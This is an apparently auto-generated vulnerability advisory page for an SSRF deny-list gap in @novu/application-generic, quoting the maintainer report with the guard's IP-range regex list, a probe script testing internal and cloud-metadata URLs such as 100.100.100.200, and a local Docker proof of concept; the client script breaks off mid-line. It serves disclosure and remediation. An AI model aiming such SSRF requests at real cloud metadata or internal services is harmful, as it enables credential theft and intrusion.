---
id: "CVE-2026-125115"
page: "https://infrastack.ai/live/CVE-2026-125115"
kind: "vulnerability"
aliases: ["CVE-2026-125115", "GHSA-vg6v-j97m-h5xq"]
title: "@novu/application-generic: `validateUrlSsrf` permits CGNAT (100.64.0.0/10) destinations \u2014 affects Workflow HTTP request step + Webhook filter condition"
severity: "medium"
cvss: 6.8
epss: null
exploited: false
status: "open"
category: "package"
products: [{"name": "@novu/application-generic", "fixed": ["3.17.0"], "affected": "< 3.17.0", "ecosystem": "npm"}]
ecosystems: ["npm"]
tags: ["alibaba-cloud", "cwe-918", "node", "novu", "package", "self-hosted", "ssrf"]
not_affected_if: ["auth-required", "managed-hosting", "no-user-configured-urls"]
published_at: "2026-07-28T14:59:22+00:00"
first_seen_at: "2026-11-09T22:20:40+00:00"
updated_at: "2026-11-09T22:22:47+00:00"
sources: [{"source": "ghsa", "url": "https://github.com/advisories/GHSA-vg6v-j97m-h5xq", "first_seen_at": "2026-11-09T22:20:40+00:00"}]
exploit_sources: []
---

# @novu/application-generic: `validateUrlSsrf` permits CGNAT (100.64.0.0/10) destinations — affects Workflow HTTP request step + Webhook filter condition

Link for people: https://infrastack.ai/live/CVE-2026-125115 (this .md is for agents)

The shared URL guard in @novu/application-generic blocks private IP ranges but not 100.64.0.0/10 shared address space, so user-configured workflow HTTP steps and webhook filter conditions can send server-side requests there. An attacker who can set those URLs can reach internal services or cloud metadata endpoints such as 100.100.100.200 on Alibaba Cloud.

_Summary, check and fix written by a model from the sources; labelled as such._

## Affected

- npm:@novu/application-generic affected < 3.17.0 fixed 3.17.0

## How to check

- Check the installed version: `npm ls @novu/application-generic`
- Self-hosted Novu: confirm whether Workflow HTTP request steps or webhook filter conditions are used by tenants who can set arbitrary URLs
- Review whether worker or API hosts can reach `100.64.0.0/10` (for example, Alibaba Cloud metadata at `100.100.100.200`)

## Fix

- @novu/application-generic: move to `3.17.0`

## Timeline

- 2026-11-09T22:20:40+00:00 ghsa https://github.com/advisories/GHSA-vg6v-j97m-h5xq

## Documents

- [advisory] Maintainer's advisory: api.github.com https://api.github.com/repos/novuhq/novu/security-advisories/GHSA-vg6v-j97m-h5xq
- [advisory] Maintainer's advisory: github.com https://github.com/novuhq/novu/security/advisories/GHSA-vg6v-j97m-h5xq

## From the sources

Hi Novu team,

Reporting an SSRF blocklist gap in the shared `validateUrlSsrf` guard. A complete self-contained reproduction is inlined below — copy the four files into a directory and run `docker compose up`, plus a single-file probe that runs against Node directly. Locally validated against HEAD `291817c`.

## Summary

Novu's shared SSRF guard `validateUrlSsrf(url)` is used before server-side requests to user-configured URLs. The guard resolves hostnames and blocks a regex list of private/reserved IP ranges, but it does not block `100.64.0.0/10` shared address space. As a result, Novu features protected by this guard can still send server-side requests to destinations such as `100.100.100.200` (Alibaba Cloud metadata service) and any other service reachable in `100.64.0.0/10`.

## Affected code

Guard:

- `libs/application-generic/src/utils/ssrf-url-validation.ts`
  - `isPrivateIp(...)` regex list at lines 9-28
  - DNS resolution and address validation at lines 55-72

Product call-sites:

- Workflow HTTP request step: `apps/worker/src/app/workflow/usecases/send-message/execute-http-request-step.usecase.ts` — calls `validateUrlSsrf(url)` at line 149, then uses `HttpClientService` to send the request.
- Webhook filter condition: `libs/application-generic/src/usecases/conditions-filter/conditions-filter.usecase.ts` — calls `validateUrlSsrf(child.webhookUrl)` at line 265, then sends `axios.post(child.webhookUrl, ...)` at line 277.

HTTP client:

- `libs/application-generic/src/services/http-client/http-client.service.ts` — uses `got(gotOptions)` at lines 120 and 142 after the preflight validation.

## Root cause

The SSRF guard uses a hand-written regex deny-list:

```ts
/^0\.0\.0\.0$/i,
/^127\./,
/^10\./,
/^172\.(1[6-9]|2[0-9]|3[01])\./,
/^192\.168\./,
/^169\.254\./,
/^::ffff:127\./i,
/^::ffff:10\./i,
/^::ffff:172\.(1[6-9]|2[0-9]|3[01])\./i,
/^::ffff:192\.168\./i,
/^::ffff:169\.254\./i,
/^::1$/,
/^fc00:/i,
/^fe80:/i,
```

This list omits `100.64.0.0/10`, also called shared address space or CGNAT. These addresses are not RFC1918 private addresses, but they are also not normal public-internet destinations. Cloud and infrastructure providers commonly use special-use address ranges for metadata and internal services; **Alibaba Cloud metadata is available at `100.100.100.200`**.

## Reproduction — Part 1: unit-level probe (no Docker required)

Save the following file and run with `node novu_ssrf_guard_probe.js`. The script replicates `validateUrlSsrf` from `libs/application-generic/src/utils/ssrf-url-validation.ts` **verbatim** (the `isPrivateIp` regex list is copied as-is) and tests several URL categories.

### `novu_ssrf_guard_probe.js`

```javascript
const dns = require('dns/promises');

function isPrivateIp(ip) {
  const privateRanges = [
    /^0\.0\.0\.0$/i,
    /^127\./,
    /^10\./,
    /^172\.(1[6-9]|2[0-9]|3[01])\./,
    /^192\.168\./,
    /^169\.254\./,
    /^::ffff:127\./i,
    /^::ffff:10\./i,
    /^::ffff:172\.(1[6-9]|2[0-9]|3[01])\./i,
    /^::ffff:192\.168\./i,
    /^::ffff:169\.254\./i,
    /^::1$/,
    /^fc00:/i,
    /^fe80:/i,
  ];
  return privateRanges.some((range) => range.test(ip));
}

async function validateUrlSsrf(url) {
  let parsed;
  try {
    parsed = new URL(url);
  } catch {
    return 'Invalid URL format.';
  }
  if (parsed.protocol !== 'http:' && parsed.protocol !== 'https:') {
    return `URL scheme "${parsed.protocol}" is not allowed.`;
  }
  const hostname = parsed.hostname.toLowerCase();
  const blockedHostnames = ['localhost', 'metadata.google.internal'];
  if (blockedHostnames.includes(hostname)) {
    return `Requests to "${hostname}" are not allowed.`;
  }
  let addresses;
  try {
    addresses = await dns.lookup(hostname, { all: true });
  } catch {
    return `Unable to resolve hostname "${hostname}".`;
  }
  for (const { address } of addresses) {
    if (isPrivateIp(address)) {
      return `Requests to private or reserved IP addresses are not allowed (resolved: ${address}).`;
    }
  }
  return null;
}

async function main() {
  for (const url of [
    'http://127.0.0.1/',
    'http://0.0.0.0/',
    'http://0.0.0.1/',
    'http://169.254.169.254/',
    'http://100.64.0.1/',
    'http://100.100.100.200/',
    'http://224.0.0.1/',
    'http://[fd00::1]/',
    'http://[64:ff9b::7f00:1]/',
    'http://[::ffff:100.64.0.1]/',
    'http://8.8.8.8/',
  ]) {
    console.log(JSON.stringify({ url, verdict: (await validateUrlSsrf(url)) ?? 'ALLOW' }));
  }
}

main().catch((e) => { console.error(e); process.exitCode = 1; });
```

### Expected output (relevant lines)

```json
{"url":"http://127.0.0.1/","verdict":"Requests to private or reserved IP addresses are not allowed (resolved: 127.0.0.1)."}
{"url":"http://169.254.169.254/","verdict":"Requests to private or reserved IP addresses are not allowed (resolved: 169.254.169.254)."}
{"url":"http://100.64.0.1/","verdict":"ALLOW"}
{"url":"http://100.100.100.200/","verdict":"ALLOW"}
{"url":"http://8.8.8.8/","verdict":"ALLOW"}
```

The 2nd and 3rd `ALLOW` rows are the bypass — both are non-public destinations the guard should refuse.

## Reproduction — Part 2: end-to-end Docker CGNAT proof

Save the three files below into a directory, then:

```bash
docker compose up --abort-on-container-exit --exit-code-from novu-client
```

This mirrors the product sequence in `execute-http-request-step.usecase.ts`: resolve hostname → validate with `validateUrlSsrf` → send HTTP request. The "target" container is bound to a CGNAT address (`100.64.0.20`) on a custom subnet, simulando a cloud-internal service reachable on the CGNAT range.

### `docker-compose.yml`

```yaml
services:
  cgnat-target:
    image: python:3.12-alpine
    command: python -u /srv/target.py
    volumes:
      - ./target.py:/srv/target.py:ro
    networks:
      novu-cgnat:
        ipv4_address: 100.64.0.20

  novu-client:
    image: node:22-alpine
    command: node /srv/client.js
    volumes:
      - ./client.js:/srv/client.js:ro
    depends_on:
      - cgnat-target
    networks:
      novu-cgnat:
        ipv4_address: 100.64.0.10

networks:
  novu-cgnat:
    ipam:
      config:
        - subnet: 100.64.0.0/24
```

### `target.py`

```python
from http.server import BaseHTTPRequestHandler, HTTPServer

class Handler(BaseHTTPRequestHandler):
    def do_POST(self):
        print(f"[target] {self.client_address[0]} POST {self.path}", flush=True)
        self.send_response(200)
        self.send_header("content-type", "application/json")
        self.end_headers()
        self.wfile.write(b'{"marker":"NOVU_CGNAT_SSRF_OK"}\n')
    def log_message(self, fmt, *args): return

HTTPServer(("100.64.0.20", 8080), Handler).serve_forever()
```

### `client.js`

```javascript
const dns = require('dns/promises');

function isPrivateIp(ip) {
  const privateRanges = [
    /^0\.0\.0\.0$/i, /^127\./, /^10\./,
    /^172\.(1[6-9]|2[0-9]|3[01])\./, /^192\.168\./, /^169\.254\./,
    /^::ffff:127\./i, /^::ffff:10\./i,
    /^::ffff:172\.(1[6-9]|2[0-9]|3[01])\./i,
    /^::ffff:192\.168\./i, /^::ffff:169\.254\./i,
    /^::1$/, /^fc00:/i, /^fe80:/i,
  ];
  return privateRanges.some((range) => range.test(ip));
}

async function validateUrlSsrf(url) {
  const parsed = new URL(url);
  if (!['http:', 'https:'].includes(parsed.protocol)) return 'bad scheme';
  if (['localhost', 'metadata.google.internal'].includes(parsed.hostname.toLowerCase())) {
    return 'blocked hostname';
  }
  const addresses = await dns.lookup(parsed.hostname, { all: true });
  for (const { address } of addresses) {
    if (isPrivateIp(address)) return `blocked ${address}`;
  }
  return null;
}

async function waitForTarget(url) {
  for (let attempt = 0; attempt < 20; attempt += 1) {
    try {
      const r = await fetch(url, { method: 'POST' });
      await r.text();
      return;
    } catch (_e) {
      await new Promise((resolve) => setTimeout(resolve, 250));
    }
  }
}

async function main() {
  const url = 'http://cgnat-target:8080/workflow-http-step';
  const addresses = await d

---

_Free to read, with fair use of about 60 pages a minute. For higher limits or API access: sales@infrastack.ai_
